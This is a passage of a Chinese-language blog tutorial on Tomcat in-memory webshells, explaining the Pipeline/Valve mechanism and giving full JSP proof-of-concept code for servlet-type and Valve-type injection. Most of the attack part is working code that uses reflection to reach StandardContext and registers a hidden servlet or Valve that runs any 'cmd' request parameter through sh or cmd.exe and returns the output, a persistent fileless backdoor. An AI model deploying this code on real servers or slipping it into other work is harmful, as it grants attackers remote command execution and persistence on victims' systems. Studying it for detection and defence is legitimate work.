<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Servlet badServlet = new Servlet(){
        public void init(ServletConfig var1) throws ServletException{

        }

        public ServletConfig getServletConfig(){
            return null;
        }

        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
            System.out.println("servlet启动");
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }

        public String getServletInfo(){
            return null;
        }

        public void destroy(){

        }
    };

    ServletContext  servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

//预设置Servlet名称
    String name = badServlet.getClass().getName(); //名称随便
//获取StandardWrapper
    Wrapper wrapper = (Wrapper)standardContext.createWrapper();
//相关配置
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    //wrapper.setServletClass(name); //有无无所谓
    wrapper.setServlet(badServlet); //重点设置为Wrapper点在这里

//将其加入到当前环境的StandardContext中
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/servlet",name);
%>

开启服务器后还是同样的操作执行一遍即可,成功命令执行:

image-20240903222118658

Valve 型内存马

在Tomcat中定义了两个接口,分别是Pipeline和Valve。Valve可以理解为Pipeline的基本单位,用于处理传入请求和传出请求。

Tomcat的管道机制是指在处理HTTP请求时,将一系列的Valve按顺序链接在一起形成一个处理管道。每个Valve负责在请求处理过程中执行特定的任务,例如认证、日志记录、安全性检查等。这样,请求就会在管道中依次经过每个Valve,每个Valve都可以对请求进行处理或者传递给下一个Valve

Tomcat每个层级的容器(Engine、Host、Context、Wrapper)都有相对应的实现Valve对象(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),这些Valve同时维护一个Pipeline实例(StandardPipeline)。在每个层级容器中的管道中都有至少有一个Valve,称之为基础阀,其作用是连接当前容器的下一个容器。

image-20240904143403453

看Valve接口的定义:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.apache.catalina;

import java.io.IOException;

import javax.servlet.ServletException;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

public interface Valve {

    //获取下一个Valve,null代表最后一个
    Valve getNext();
    
    //设置下一个Valve
    void setNext(Valve valve);

    void backgroundProcess();

    //执行对应请求处理逻辑
    void invoke(Request request, Response response) throws IOException, ServletException;

    boolean isAsyncSupported();
}

在Tomcat中的Valve实现类是ValveBase抽象类,其实现了大部分Valve接口的基本方法,只需要重写invoke()方法。

而看Pipeline接口的实现类StandardPipeline,其定义有addValve()方法: image-20240904150212982

而在前面说过,Container的四个容器都是有其相对应的Valve的,看了一下,四个容器的实现类StandardEngine、StandardHost等都是继承于ContainerBase类的,并且这个ContainerBase类中有addValve()方法image-20240904150639229

其实也就是调用的StandardPipeline类的addValve()方法:

image-20240904150715679

————

现在就可以尝试来直接构造了,过程:

  • 反射从HttpRequestServlet 获取 Request
  • 反射从 Request 获取StandardContext
  • 获取到了StandardContext就可以尝试直接向里面添加恶意Valve了。

获取StandardContext等四个容器对象都可以:

1
2
3
4
5
6
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
//    StandardHost standardHost = (StandardHost) request1.getHost();
//    StandardWrapper standardWrapper = (StandardWrapper) request1.getWrapper();

但我是tomcat9,应该是用不了这个,还是回到之前那个获取StandardContext()方法:

1
2
3
4
5
6
7
ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

定义恶意Valve:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
ValveBase badValve = new ValveBase() {

        public void invoke(Request req, Response resp){
            try {
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String o = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(o);
                }
                this.getNext().invoke(req, resp);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

然后直接加入即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

    ValveBase badValve = new ValveBase() {

        public void invoke(Request req, Response resp){
            try {
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String o = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(o);
                }
                this.getNext().invoke(req, resp);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

    standardContext.addValve(badValve);
最终POC

index.jsp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field field0 = servletContext.getClass().getDeclaredField("context");
    field0.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
    Field field1 = applicationContext.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    StandardContext standardContext = (StandardContext)field1.get(applicationContext);

    ValveBase badValve = new ValveBase() {

        public void invoke(Request req, Response resp){
            try {
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String o = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(o);
                }
                this.getNext().invoke(req, resp);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    };

    standardContext.addValve(badValve);
//提示注入
    out.println("success inject");
%>

然后开启服务器即可:

image-20240904160741535

成功执行:

image-20240904160812627

参考文章:

https://www.freebuf.com/articles/web/343094.html

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计